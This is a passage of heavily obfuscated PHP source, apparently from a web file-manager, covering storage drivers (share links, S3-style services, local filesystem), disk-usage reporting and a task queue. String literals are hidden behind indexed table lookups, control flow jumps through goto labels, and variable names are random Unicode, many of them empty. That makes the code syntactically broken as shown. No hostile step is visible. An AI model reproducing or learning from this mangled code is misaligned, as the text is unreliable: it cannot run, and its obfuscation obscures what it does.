$GLOBALS[$󾪓[6]][$󾪓[21]]; $ = $[$󾪓[1065]]; if ($ == $󾪓[1053]) { $ģ = explode($󾪓[1379], $[$󾪓[1064]]); $ = $ģ[0]; } if ($ == $󾪓[1001] || $ == $󾪓[894]) { $۱ץ = Model()->db()->query($󾪓[1961]); $Ϫ = $۱ץ[0] && isset($۱ץ[0][$󾪓[1667]]) ? $۱ץ[0][$󾪓[1667]] : 0; $ = $󾪓[1962] . ($Ϫ ? $󾪓[8] . $Ϫ : $󾪓[12]); } $נ = $GLOBALS[$󾪓[6]][$󾪓[434]][$󾪓[916]]; return array($󾪓[1963] => $ꇐ ? $ꇐ[$󾪓[1964]] : 0, $󾪓[1965] => $ꇐ ? $ꇐ[$󾪓[1966]] : 0, $󾪓[1967] => (int) $[$󾪓[1964]] * 1024 * 1024 * 1024, $󾪓[1968] => (int) $, $󾪓[1969] => ucfirst($), $󾪓[1970] => $󾪓[1971] . PHP_VERSION, $󾪓[1972] => phpBuild64() ? 64 : 32, $󾪓[846] => str_replace($󾪓[1222], $󾪓[1081], $), $󾪓[434] => ucfirst($נ), $󾪓[32] => $_SERVER[$󾪓[1973]]); } private function diskDriver() { $խ =& $_SERVER[]; $ϡ = $խ[8]; $ = $GLOBALS[$խ[6]][$խ[1396]] == $խ[1397]; if ($) { $ϡ = $խ[1974]; if (function_exists($խ[1975])) { exec($խ[1976], $); $ϡ = $[1] . $խ[8]; } } if (!file_exists($ϡ)) { return; } if (!function_exists($խ[1977])) { return; } $ = @disk_total_space($ϡ); $Ʉ = $ - @disk_free_space($ϡ); return array($խ[1964] => $, $խ[1966] => $Ʉ); } public function fileChart($ѹ) { $ =& $_SERVER[]; if (isset($ѹ[$[1779]])) { return Model($[914])->userFileTypeProfile($ѹ[$[1779]]); } if (isset($ѹ[$[1978]])) { return Model($[914])->groupFileTypeProfile($ѹ[$[1978]]); } $ = $this->sourceSize(); $ʍ = array($[202] => 0, $[200] => 1); $􎎜 = Model($[914])->where($ʍ)->sum($[89]); $ʍ[$[200]] = 2; $ֵ = Model($[914])->where($ʍ)->sum($[89]); return array($[852] => $[$[89]], $[1911] => $[$[1911]], $[1912] => (int) $􎎜, $[1913] => (int) $ֵ); } private function sourceSize() { $Ӓ =& $_SERVER[]; $ = Model($Ӓ[914])->where(array($Ӓ[494] => 0))->sum($Ӓ[89]); $ű = Model($Ӓ[553])->sum($Ӓ[89]); if ($ű > $) { $ű = $; } return array($Ӓ[89] => (int) $, $Ӓ[1911] => (int) $ű); } } goto Fƽ̨; bĴה: class PathDriverDbShareLink extends PathDriverDB { public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[][1429]); } protected function infoParse($, $ = false, $ = false) { $Ø =& $_SERVER[]; return Action($Ø[1267])->sharePathInfo($this->pathParse[$Ø[97]], !0, $); } public function listPath($, $թ = false) { $ =& $_SERVER[]; $ݾ = parent::listPath($, $թ); if (!$ݾ) { return $ݾ; } if (is_array($ݾ[$[1437]])) { $ݾ[$[1437]] = Action($[1267])->shareItemInfo($ݾ[$[1437]]); } foreach ($ݾ as $𙰏 => $ϸƘ) { if (!in_array($𙰏, array($[96], $[95]))) { continue; } foreach ($ϸƘ as $̾ => $ڦ) { $ݾ[$𙰏][$̾] = Action($[1267])->shareItemInfo($ڦ); } } return $ݾ; } public function listAll($ʏ) { $͔ =& $_SERVER[]; $׏ = IO::info($this->pathParse[$͔[97]]); if (!$׏) { return array(); } $ߖ = $this->model->listAll($ʏ); foreach ($ߖ as &$Š) { $Š[$͔[100]] = Action($͔[1267])->shareItemInfo($Š[$͔[100]]); } unset($Š); return $ߖ; } } class PathDriverDriverShareItem { public function __construct($ܩ) { $this->pathParse = $ܩ; } public function __call($ẓ, $Ǎ) { $ĉ =& $_SERVER[]; if (method_exists($this, $ẓ)) { return; } $ = call_user_func_array(array($ĉ[1438], $ẓ), $Ǎ); $ؕ = array($ĉ[1439], $ĉ[1440], $ĉ[1441], $ĉ[1442], $ĉ[627], $ĉ[629], $ĉ[1443], $ĉ[120], $ĉ[1444], $ĉ[1445]); if (in_array($ẓ, $ؕ)) { $ = $this->getPathOuter($); } return $; } public function copy($, $, $ = false, $ = false) { return $this->copyMove($, $, $, $_SERVER[][627], $); } public function move($, $, $Õ = false, $ = false) { return $this->copyMove($, $, $Õ, $_SERVER[][629], $); } private function copyMove($⃌, $, $Ȓ, $¸, $ٔ = false) { $ =& $_SERVER[]; $ޯז = $; $Ȋ = IO::driverMake($); if ($Ȋ->pathParse[$[1243]]) { $ = $Ȋ->pathParse[$[1243]]; } else { $ = $ޯז; } $󭍩 = IO::copyMove($⃌, $, $Ȓ, $¸, $ٔ); $󭍩 = $this->getPathOuter($󭍩); return $󭍩; } public function pathThis($) { return get_path_this($this->pathParse[$_SERVER[][97]]); } public function pathFather($ݱܓ) { return get_path_father($this->pathParse[$_SERVER[][97]]); } public function iconvSystem($) { return $; } protected function infoParse($Ě, $ = false) { $󂮨 =& $_SERVER[]; $ = $this->pathParse[$󂮨[569]][$󂮨[1268]] . $this->pathParse[$󂮨[1261]]; if ($) { $͙ = IO::infoWithChildren($); } else { $͙ = IO::info($); } $я = $this->pathParse[$󂮨[569]]; return Action($󂮨[1436])->_shareItemeParse($͙, $я); } public function listAll($Ͷ) { $ʀ =& $_SERVER[]; $ = IO::listAll($Ͷ); $녡 = rtrim($this->pathParse[$ʀ[569]][$ʀ[1268]], $ʀ[8]); foreach ($ as &$̩) { $̩[$ʀ[97]] = $this->pathDriver . $ʀ[8] . ltrim(substr($̩[$ʀ[97]], strlen($녡)), $ʀ[8]); } unset($̩); return $; } public function listAllSimple($ܯ, $ӣ޹ = false) { $ =& $_SERVER[]; $ĝ = $this->listAll($ܯ); $ȷ = $this->pathParse[$[504]]; if (trim($ȷ, $[8]) == trim(get_path_father($ȷ), $[8])) { $ӣ޹ = !0; } return IO::init($[12])->listAllSimpleMake($ĝ, $ȷ, $ӣ޹); } public function getPathOuter($) { $ =& $_SERVER[]; $̽ = KodIO::parse($); if ($̽[$[33]] == KodIO::KOD_SHARE_ITEM) { return $̽[$[97]]; } $ݍ = KodIO::clear($); $։鬊 = KodIO::clear($this->pathParse[$[569]][$[1268]]); $ = substr($ݍ, strlen($։鬊)); if (substr($ݍ, 0, strlen($։鬊)) != $։鬊) { return !1; } return $this->pathParse[$[1262]] . $[8] . ltrim($, $[8]); } public function getType() { $ϕ =& $_SERVER[]; $ٜ؉ = str_replace($ϕ[87], $ϕ[12], get_class($this)); return strtolower($ٜ؉); } public function isOsDriver($Ä) { return IO::isOsDriver($Ä); } public function info($) { return $this->infoParse($); } public function infoAuth($깰) { return $this->infoParse($깰); } public function infoWithChildren($마) { return $this->infoParse($마, !0); } public function infoFull($ǘ) { return $this->infoParse($ǘ); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($ޯǎ) { $this->pathParse = $ޯǎ; } protected function infoParse($Љٝ, $ = false) { $ =& $_SERVER[]; return Action($[1267])->sharePathInfo($this->pathParse[$[97]], !0, $); } public function listPath($ʿԅ, $ن = false) { $ =& $_SERVER[]; $ܘ = IO::listPath($ʿԅ, $ن); if (!$ܘ) { return $ܘ; } if (is_array($ܘ[$[1437]])) { $Ӏ퀥 = Action($[1446])->parsePathChildren($ܘ[$[1437]], array($[504] => $ʿԅ)); $ܘ[$[1437]] = Action($[1267])->shareItemInfo($Ӏ퀥); } foreach ($ܘ as $͇ => $½) { if (!in_array($͇, array($[96], $[95]))) { continue; } foreach ($½ as $ӹȽ => $Ӏ퀥) { $Ӏ퀥 = Action($[1446])->parsePathChildren($Ӏ퀥, array($[504] => $ʿԅ)); $ܘ[$͇][$ӹȽ] = Action($[1267])->shareItemInfo($Ӏ퀥); } } return $ܘ; } } goto b; D問Ķސ: class PathDriverJOS extends PathDriverBaseS3 { public function __construct($ֈ) { parent::__construct($ֈ); $this->setSignVersion($_SERVER[][257]); } public function uploadLink($, $ = 0) { $ʿ =& $_SERVER[]; if ($this->isUploadServer()) { return; } $ą = $this->getType(); if (!in_array($ą, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $ӥ = (!$ ? 1 : ceil($ / pow(1024, 3))) * 3600 * 4; $Ψ = $this->multiUploadFormData($, $ӥ); if ($Ψ) { $Ψ[$ʿ[107]] = $; $Ψ[$ʿ[108]] = $ą; } return $Ψ; } public function fileOutImage($, $߱ = 250) { if ($this->size($) > 1024 * 1024 * 25) { return $this->fileOutImageServer($, $߱); } $מ = $this->link($); $מ .= $_SERVER[][1462] . $߱; $this->fileOutLink($מ); } public function fileOutLink($쉴) { $󁼻 =& $_SERVER[]; if (substr($쉴, 0, 7) == $󁼻[322]) { $쉴 = $󁼻[323] . substr($쉴, 7); } header($󁼻[185] . $쉴); die; } } class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($Ѕ) { if (substr($Ѕ, 0, 2) == $_SERVER[][1421]) { $Ѕ = BASIC_PATH . substr($Ѕ, 2); } return $Ѕ; } public function iconvApp($) { $ =& $_SERVER[]; global $config; return $this->iconvTo($, $config[$[1448]], $config[$[1447]]); } public function iconvSystem($) { $ =& $_SERVER[]; global $config; return $this->iconvTo($, $config[$[1447]], $config[$[1448]]); } public function getPathOuter($) { $ =& $_SERVER[]; $ = $this->iconvApp($this->pathBase); $ = $this->iconvApp($); if (substr($, 0, 2) == $[1421]) { $ = BASIC_PATH . substr($, 2); } if (substr($, 0, 2) == $[1421]) { $ = BASIC_PATH . substr($, 2); } $ = KodIO::clear($); $ = KodIO::clear($); $ = substr($, strlen($)); if (empty($this->pathDriver)) { return $; } return $this->pathDriver . $[8] . ltrim($, $[8]); } public function mkfile($ҷ, $ލ = '', $ = REPEAT_RENAME) { $ҷ = $this->iconvSystem($ҷ); @touch($ҷ); if ($ލ) { file_put_contents($ҷ, $ލ); } @chmod($ҷ, $this->pathAuth); if (is_file($ҷ)) { return $this->getPathOuter($ҷ); } $this->writeLog(__FUNCTION__ . $_SERVER[][1459], !0); return !1; } public function mkdir($՗, $ = REPEAT_SKIP) { $՗ = $this->iconvSystem($՗); if (is_dir($՗)) { return $this->getPathOuter($՗); } @mkdir($՗, $this->pathAuth, !0); @chmod($՗, $this->pathAuth); if (is_dir($՗)) { return $this->getPathOuter($՗); } $this->writeLog(__FUNCTION__ . $_SERVER[][1459], !0); return !1; } public function copyFile($, $؁ʊ) { $this->mkdir($this->pathFather($؁ʊ)); $ = $this->iconvSystem($); $؁ʊ = $this->iconvSystem($؁ʊ); $鎩 = copy_64($, $؁ʊ); @chmod($؁ʊ, $this->pathAuth); if ($鎩) { return $this->getPathOuter($؁ʊ); } $this->writeLog(__FUNCTION__ . $_SERVER[][1459], !0); return !1; } public function moveFile($؅, $) { $this->mkdir($this->pathFather($)); $؅ = $this->iconvSystem($؅); $ = $this->iconvSystem($); $ = intval(@rename($؅, $)); if (!$) { if ($ = intval(@copy_64($؅, $))) { @unlink($؅); } } @chmod($, $this->pathAuth); if ($) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $_SERVER[][1459], !0); return !1; } public function movePath($η, $, $՘ = false) { $ۑ퓀 =& $_SERVER[]; $η = $this->iconvSystem($η); $ = $this->iconvSystem($); $Ϩ = rtrim($, $ۑ퓀[8]) . $ۑ퓀[8] . ($՘ ? $՘ : get_path_this($η)); if (file_exists($Ϩ)) { return !1; } $η = intval(@rename($η, $Ϩ)); $η = file_exists($Ϩ); if ($η) { return $this->getPathOuter($Ϩ); } $this->writeLog(__FUNCTION__ . $ۑ퓀[1459], !0); return !1; } public function delFile($ƈ) { $ƈ = $this->iconvSystem($ƈ); if (!@unlink($ƈ)) { @chmod($ƈ, $this->pathAuth); if (@unlink($ƈ)) { return !0; } $this->writeLog(__FUNCTION__ . $_SERVER[][1459], !0); return !1; } return !0; } public function delFolder($ڠ) { $ݓ =& $_SERVER[]; $ڠ = $this->iconvSystem($ڠ); if (!is_dir($ڠ)) { return !0; } if (!($ = opendir($ڠ))) { return !1; } while (($ = readdir($)) !== !1) { if ($ == $ݓ[10] || $ == $ݓ[1374]) { continue; } $Եğ = $ڠ . $ݓ[8] . $; if (is_file($Եğ) || is_link($Եğ)) { if (!unlink($Եğ)) { chmod($Եğ, $this->pathAuth); if (!unlink($Եğ)) { return !1; } } } else { if (is_dir($Եğ)) { chmod($Եğ, $this->pathAuth); $Եğ = $this->iconvApp($Եğ); if (!$this->delFolder($Եğ)) { return !1; } } } } closedir($); return rmdir($ڠ); } public function rename($, $) { $ =& $_SERVER[]; $ = $this->fileNameAuto($this->pathFather($), $); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $Ѹ = $this->pathFather($); $ؓ = rtrim($Ѹ, $[8]) . $[8] . $; $ = @rename($, $ؓ); $ؓ = $this->iconvApp($ؓ); if ($) { return $this->getPathOuter($ؓ); } $this->writeLog(__FUNCTION__ . $[1459], !0); return !1; } public function size($) { $ = $this->iconvSystem($); return filesize_64($); } public function info($) { $ = $this->iconvSystem($); if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } protected function infoChildren($쁢, &$ܖ, $ӗ = true) { $ւ =& $_SERVER[]; check_abort_echo(); $쁢 = rtrim($쁢, $ւ[8]) . $ւ[8]; if ($ӗ) { $쁢 = $this->iconvSystem($쁢); } if (!($Ú = @opendir($쁢))) { return; } while (($ = readdir($Ú)) !== !1) { if ($ == $ւ[10] || $ == $ւ[1374]) { continue; } $ = $쁢 . $; if (is_file($) || is_link($)) { $ܖ[$ւ[90]]++; $ܖ[$ւ[89]] += filesize_64($); } else { if (is_dir($)) { $ܖ[$ւ[91]]++; $this->infoChildren($, $ܖ, !1); } } } closedir($Ú); } private function folderInfo($², $ = false) { $˃ =& $_SERVER[]; $² = rtrim($², $˃[8]) . $˃[8]; $û = $this->iconvApp($this->pathThis($²)); if ($) { return array($˃[32] => $û, $˃[97] => $this->getPathOuter($²), $˃[33] => $˃[88]); } $ = array($˃[32] => $û, $˃[97] => $this->getPathOuter($²), $˃[33] => $˃[88], $˃[241] => @filectime($²), $˃[98] => @filemtime($²), $˃[1463] => @fileatime($²), $˃[1464] => is_readable($²), $˃[1465] => is_writable($²), $˃[1466] => get_mode($²)); return $; } private function fileInfo($Ӱ, $陚ղ = false) { $ؐ =& $_SERVER[]; $鞂 = $this->iconvApp($this->pathThis($Ӱ)); if ($陚ղ) { return array($ؐ[32] => $鞂, $ؐ[97] => $this->getPathOuter($Ӱ), $ؐ[33] => $ؐ[240], $ؐ[89] => $this->size($Ӱ), $ؐ[179] => $this->ext($鞂)); } $ֻ = array($ؐ[32] => $鞂, $ؐ[97] => $this->getPathOuter($Ӱ), $ؐ[33] => $ؐ[240], $ؐ[241] => @filectime($Ӱ), $ؐ[98] => @filemtime($Ӱ), $ؐ[1463] => @fileatime($Ӱ), $ؐ[89] => $this->size($Ӱ), $ؐ[179] => $this->ext($鞂), $ؐ[1464] => is_readable($Ӱ), $ؐ[1465] => is_writable($Ӱ), $ؐ[1466] => get_mode($Ӱ)); return $ֻ; } public function exist($) { $ = $this->iconvSystem($); return @file_exists($); } public function isFile($ۻ) { $ۻ = $this->iconvSystem($ۻ); return @is_file($ۻ); } public function isFolder($Ԉ) { $Ԉ = $this->iconvSystem($Ԉ); return @is_dir($Ԉ); } public function listPath($, $ýĆ = false) { $խ =& $_SERVER[]; $ = $this->iconvSystem($); $ = rtrim($, $խ[8]) . $խ[8]; $ْﻍ = array($խ[95] => array(), $խ[96] => array()); if (!($š = @opendir($))) { return $ْﻍ; } while (($ = readdir($š)) !== !1) { if ($ == $խ[10] || $ == $խ[1374]) { continue; } $؉ = $ . $; if (is_file($؉)) { $ْﻍ[$խ[96]][] = $this->fileInfo($؉, $ýĆ); } else { $ْﻍ[$խ[95]][] = $this->folderInfo($؉, $ýĆ); } } closedir($š); return $ْﻍ; } public function listAll($ۢ, &$ = array()) { $ɶ =& $_SERVER[]; $ۢ = $this->iconvSystem($ۢ); $ۢ = rtrim($ۢ, $ɶ[8]) . $ɶ[8]; if (!($؃ = @opendir($ۢ))) { return $; } while (($η = readdir($؃)) !== !1) { if ($η == $ɶ[10] || $η == $ɶ[1374]) { continue; } $ = $ۢ . $η; $ = is_dir($) && !is_link($) ? 1 : 0; $ = $ ? $ . $ɶ[8] : $; $[] = array($ɶ[97] => $, $ɶ[88] => $, $ɶ[98] => intval(@filemtime($)), $ɶ[89] => $ ? 0 : intval($this->size($))); if ($) { $this->listAll($, $); } } closedir($؃); return $; } public function has($, $ؑ = false, $ó = true) { $ =& $_SERVER[]; $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; if (!($ = @opendir($))) { return !1; } $ġ̈́ = 0; $ = 0; $ = 0; while (($Ɔ = readdir($)) !== !1) { if ($Ɔ == $[10] || $Ɔ == $[1374]) { continue; } $܉ = $ . $Ɔ; if ($ؑ) { $++; if (@is_file($܉)) { $ġ̈́++; } else { $++; } if ($ > 10000) { break; } continue; } if ($ó) { if (@is_file($܉)) { return !0; } } else { if (@is_dir($܉ . $[8])) { return !0; } } } closedir($); if ($ؑ) { return array($[249] => $ġ̈́, $[250] => $); } return !1; } public function hashSimple($Ӎ) { $ =& $_SERVER[]; if (!$Ӎ) { return md5($[12]); } $Ӎ = $this->iconvSystem($Ӎ); $Մ = $this->size($Ӎ); $񈨋 = 200; $ = 50; if ($Մ <= $񈨋 * $) { return $this->hashMd5($Ӎ) . $Մ; } $Ų = $[12]; $˯ = intval($Մ / $); $ = fopen($Ӎ, $[1467]); if (!$) { return $Ų; } for ($㫨 = 0; $㫨 < $; $㫨++) { fseek_64($, $˯ * $㫨); $Ų .= fread($, $񈨋); } fseek_64($, $Մ - $񈨋); $Ų .= fread($, $񈨋); fclose($); return md5($Ų) . $Մ; } public function getContent($ӷ) { $ӷ = $this->iconvSystem($ӷ); return file_get_contents($ӷ); } public function setContent($ƚ, $ = '') { $ƚ = $this->iconvSystem($ƚ); $ = @file_put_contents($ƚ, $, LOCK_EX); if (!$) { $this->writeLog(__FUNCTION__ . $_SERVER[][1459], !0); } clearstatcache(); @chmod($ƚ, $this->pathAuth); return $ === !1 ? !1 : !0; } public function fileSubstr($㔗, $֙ = 0, $ݻ = false) { $ =& $_SERVER[]; $㔗 = $this->iconvSystem($㔗); if ($ݻ === !1) { $ݻ = $this->size($㔗); } if ($ݻ <= 0) { return $[12]; } $ɟ = fopen($㔗, $[1467]); if (!$ɟ) { return !1; } fseek_64($ɟ, $֙); $̶Ć = fread($ɟ, $ݻ); fclose($ɟ); if (!$̶Ć) { $this->writeLog(__FUNCTION__ . $[1459], !0); } return $̶Ć; } public function upload($, $ݡ, $ϼÜ = false, $۷؎ = REPEAT_REPLACE) { if ($ϼÜ) { return $this->moveFile($ݡ, $); } return $this->copyFile($ݡ, $); } public function setModifyTime($ʄ죁, $ܴ = '') { @touch($ʄ죁, intval($ܴ)); } public function download($, $) { return $this->iconvSystem($); } } class PathDriverOBS extends PathDriverBaseS3 { public function __construct($ƙ) { parent::__construct($ƙ); $this->setSignVersion($_SERVER[][257]); } public function fileOutImage($ہ, $ = 250) { $Х =& $_SERVER[]; if ($this->size($ہ) > 1024 * 1024 * 25) { return $this->fileOutImageServer($ہ, $); } $Τ = array($Х[1468] => $Х[1469] . $ . $Х[1470]); $ہѻћ = $this->link($ہ, $Τ); $this->fileOutLink($ہѻћ); } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[322]) { $ = $[323] . substr($, 7); } header($[185] . $); die; } } goto a; cǞ: class TaskLog { private $task; private $taskID; private $isEnd = false; static function newTask($ᦷ, $ڣ = '', $ = 0, $ = '') { $ְݎ =& $_SERVER[]; $ = $ ? $ : ($ڣ ? $ڣ : $ᦷ); $ = new Task($ᦷ, $ڣ, $, $); $GLOBALS[$ְݎ[1862] . $ᦷ] = new TaskLog($ְݎ[1763], $, $); return $; } public function __construct($؈ = '', $߄ޭ = '', $Π͐ = '') { $ =& $_SERVER[]; if (!$؈) { $؈ = $[1763]; } $܏ = $؈ . $[471] . rand_string(10); if (!$Π͐) { $Π͐ = $؈ . $[53] . $Π͐; } switch ($؈) { case $[1763]: if (!$߄ޭ || !$߄ޭ->task) { return echoLog($؈ . $[1863]); } $Ɉ = $߄ޭ; $܏ = $Ɉ->task[$[484]]; $؈ = $Ɉ->task[$[484]]; if (!$Ɉ->task[$[1668]]) { $Ɉ->task[$[1668]] = $Π͐ ? $Π͐ : $؈; } break; case $[1864]: if (!$߄ޭ) { return echoLog($؈ . $[1865]); } $ = is_string($߄ޭ) ? array($߄ޭ) : $߄ޭ; $Ɉ = new TaskFileTransfer($܏, $؈, 0, $Π͐ ? $Π͐ : $[0]); foreach ($ as $) { $Ɉ->addPath($); } break; case $[398]: if (!$߄ޭ) { return echoLog($؈ . $[1865]); } $ = is_string($߄ޭ) ? array($߄ޭ) : $߄ޭ; $Ɉ = new TaskZip($܏, $؈, 0, $Π͐ ? $Π͐ : $[0]); foreach ($ as $) { $Ɉ->addPath($); } break; case $[1310]: if (!$߄ޭ) { return echoLog($؈ . $[1865]); } $Ɉ = new TaskUnZip($܏, $؈, 0, $Π͐ ? $Π͐ : $߄ޭ); if ($߄ޭ) { $Ɉ->addFile($߄ޭ); } break; case $[162]: $Ɉ = new TaskHttp($܏, $؈); break; default: return; break; } $this->task = $Ɉ; $this->taskID = $܏; Hook::bind($[1800], array($this, $[1866])); Hook::bind($[1802], array($this, $[1867])); Hook::bind($[1796], array($this, $[1868])); echoLog($[1869] . $Ɉ->task[$[1668]]); } public function __destruct() { $this->end(); } public function end($Гͣ = '') { $̸ =& $_SERVER[]; if ($this->isEnd) { return; } if (!$this->task || !$this->taskID) { return; } $this->isEnd = !0; $this->task->end($Гͣ); $this->task = !1; $this->taskID = !1; Hook::unbind($̸[1800], array($this, $̸[1866])); Hook::unbind($̸[1802], array($this, $̸[1867])); Hook::unbind($̸[1796], array($this, $̸[1868])); } public function taskUpdate($Ǡ) { $˴ =& $_SERVER[]; if (!$Ǡ || $this->taskID != $Ǡ[$˴[484]]) { return; } $ѽ = 20; $ = intval($Ǡ[$˴[1781]] * $ѽ); $刀 = $˴[186] . str_repeat($˴[973], $) . $˴[1103] . str_repeat($˴[53], $ѽ - $) . $˴[188]; $ = $刀 . sprintf($˴[1870], $Ǡ[$˴[1781]] * 100) . $˴[1871]; $˚ = $ . $Ǡ[$˴[1780]] . $˴[8] . $Ǡ[$˴[1152]] . LNG($˴[1872]); $ = $˴[12]; if ($Ǡ[$˴[1856]]) { $˚ = $ . size_format($Ǡ[$˴[1780]]) . $˴[8] . size_format($Ǡ[$˴[1152]]); $ = size_format($Ǡ[$˴[1782]]) . $˴[1873]; } if ($Ǡ[$˴[1154]]) { $Ǡ[$˴[1830]] = $Ǡ[$˴[1154]] . $˴[53] . $Ǡ[$˴[1830]]; } if ($Ǡ[$˴[1830]]) { $ㆃ = $˴[12]; if ($Ǡ[$˴[1832]]) { $ㆃ = $˴[50] . size_format($Ǡ[$˴[1833]]) . $˴[8] . size_format($Ǡ[$˴[1832]]); } $ .= $Ǡ[$˴[1830]] . $ㆃ; } if ($Ǡ[$˴[852]] && !$Ǡ[$˴[1832]]) { $ .= $˴[53] . size_format($Ǡ[$˴[1837]]) . $˴[8] . size_format($Ǡ[$˴[852]]); } echoLog($˚ . $˴[53] . $, !0); } public function taskEnd($) { $ =& $_SERVER[]; if (!$ || $this->taskID != $[$[484]]) { return; } $ƶ = $ ? $[$[1780]] . $[8] . $[$[1152]] . LNG($[1872]) . $[84] : $[12]; echoLog($[1874] . $[$[1668]] . ($[$[535]] ? $[84] . $[$[535]] : $[12]) . $[84] . $ƶ . $[1875] . sprintf($[940], timeFloat() - $[$[1783]]) . $[1795]); $this->end(); } public function taskKill($ݷԚȊ) { $ӑ =& $_SERVER[]; if (!$ݷԚȊ || $this->taskID != $ݷԚȊ[$ӑ[484]]) { return; } echoLog($ӑ[1876] . $ݷԚȊ[$ӑ[1668]]); } } class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "\164\x61\163\x6b\121\165\145\165\x65\x4c\145\156\x67\164\150"; const QUEUE_DATA = "\x74\x61\x73\x6b\x51\165\x65\x75\x65\x44\141\164\141"; const QUEUE_TIME = "\x74\x61\163\x6b\121\x75\x65\x75\x65\x4c\x61\163\164\122\165\156"; const QUEUE_THREAD = "\x74\x61\x73\153\x51\165\145\165\145\x54\x68\162\x65\x61\144"; public static $listData = false; public static $listDataAdd = false; public static function initTask() { } public static function add($ܥ, $ه = array(), $ړ = '', $兡 = '') { $繌 =& $_SERVER[]; if (self::$listData === !1) { self::$listData = self::getAll(); self::$listDataAdd = array(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($兡 && array_find_by_field(self::$listData, $繌[107], $兡)) { return !0; } if ($兡 && array_find_by_field(self::$listDataAdd, $繌[107], $兡)) { return !0; } self::$listDataAdd[] = array($繌[350] => $ܥ, $繌[1877] => $ه, $繌[535] => $ړ, $繌[107] => $兡); return !0; } public static function addSubmit() { $ =& $_SERVER[]; if (!self::$listDataAdd || count(self::$listDataAdd) == 0) { return; } self::setAll(array_merge(self::getAll(), self::$listDataAdd)); write_log($[1878] . json_encode_force(array_to_keyvalue(self::$listDataAdd, $[12], $[535])), $[207]); self::$listData = !1; self::$listDataAdd = !1; } public static function addNow($Ž, $ = array(), $ = '', $ = '') { $đ =& $_SERVER[]; if (self::count() >= self::MAX_LENGTH) { return !1; } $ = self::getAll(); if ($ && array_find_by_field($, $đ[107], $)) { return !0; } $[] = array($đ[350] => $Ž, $đ[1877] => $, $đ[535] => $, $đ[107] => $); self::setAll($); write_log($đ[1878] . $, $đ[207]); return !0; } public static function run() { $ =& $_SERVER[]; $ = self::getAll(); $լ = array_shift($); if (!$լ) { return !1; } self::setAll($); $Ӫ = timeFloat(); $Л = $[12]; try { $Л = Hook::apply($լ[$[350]], $լ[$[1877]]); } catch (Exception $漅) { write_log($漅, $[1275]); } $ͅ = number_format(timeFloat() - $Ӫ, 3) . $[1795]; if ($Л && is_string($Л)) { $ͅ = $ͅ . $[1879] . $Л; } write_log($[1880] . $լ[$[535]] . $[1881] . $ͅ, $[207]); Cache::set(self::QUEUE_TIME, time(), 3600 * 24 * 30); return !0; } public static function runThread() { $ =& $_SERVER[]; $Ȳ = self::threadCount() + 1; if ($Ȳ > 3 || !self::count()) { return; } write_log($[1882] . $Ȳ, $[207]); Cache::set(self::QUEUE_THREAD, $Ȳ, 3600 * 24); AutoTask::clearUserStatus(); while (!0) { if (!self::run()) { break; } usleep(mt_rand(200, 50000)); } Cache::set(self::QUEUE_THREAD, 0, 3600 * 24); write_log($[1883], $[207]); } public static function getKey($, $ = "\x69\x6e\164") { $ڇ =& $_SERVER[]; Cache::removeMemory($); $Ѷ = Cache::get($); if ($ == $ڇ[373]) { return $Ѷ ? intval($Ѷ) : 0; } if ($ == $ڇ[1884]) { return is_array($Ѷ) ? $Ѷ : array(); } return $Ѷ; } public static function lastTime() { return self::getKey(self::QUEUE_TIME); } public static function count() { return self::getKey(self::QUEUE_LENGTH); } public static function threadCount() { return self::getKey(self::QUEUE_THREAD); } public static function getAll() { return self::getKey(self::QUEUE_DATA, $_SERVER[][1884]); } public static function setAll($) { $ꟓ = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($), $ꟓ); Cache::set(self::QUEUE_DATA, $, $ꟓ); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); Cache::set(self::QUEUE_THREAD, 0, 60); } } class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($, $ = 5.0) { if (!$) { return; } $ơ = Cache::get($); if (!$ơ || timeFloat() - floatVal($ơ) >= $) { Cache::set($, timeFloat(), $ * 10); return !0; } return !1; } public static function timeLimitCall($ی, $Dz, $, $ = 5.0) { $ =& $_SERVER[]; if (!$ی || !$Dz) { return; } self::$asyncAdd = !0; $߳ = $[1885]; $а = Cache::get($߳, !0); $˓ = array($[1886] => timeFloat(), $[1887] => timeFloat(), $[350] => $Dz, $[1877] => $, $[216] => $); if (is_array($а[$ی])) { $˓[$[1887]] = $а[$ی][$[1887]]; } if (is_array($а[$ی])) { if (timeFloat() - $а[$ی][$[1886]] < $˓[$[216]] * 0.3) { return; } $˓[$[1887]] = $а[$ی][$[1887]]; } $а[$ی] = $˓; Cache::set($߳, $а, 60); Cache::removeMemory($߳); write_log($[1888] . $ی . $[84] . $Dz, $[207]); } public static function timeLimitCallLoop() { $ﺐ =& $_SERVER[]; $؛ = array($ﺐ[1889]); $ = in_array(strtolower(ACTION), $؛); if (!$ && !self::$asyncAdd) { return; } $ = $ﺐ[1885]; $寊 = Cache::get($, !0); if (!$寊 || count($寊) <= 0) { return; } $꽏 = !1; $Ӧ = timeFloat(); $ = array(); foreach ($寊 as $ => $) { if ($Ӧ - $[$ﺐ[1887]] > $[$ﺐ[216]]) { $꽏 = !0; try { Hook::apply($[$ﺐ[350]], $[$ﺐ[1877]]); write_log($ﺐ[1890] . $ . $ﺐ[84] . $[$ﺐ[350]] . $ﺐ[1891] . ACTION, $ﺐ[207]); } catch (Exception $ڷ) { } continue; } $[$] = $; } if (!$꽏) { return; } if (!$) { return Cache::remove($); } Cache::set($, $, 60); Cache::removeMemory($); } public static function finished($ٔ, $ǒ) { $ =& $_SERVER[]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($[350] => $ٔ, $[1877] => $ǒ); } private static function finishedRun() { $ဋ =& $_SERVER[]; if (!self::$syncTask) { return; } foreach 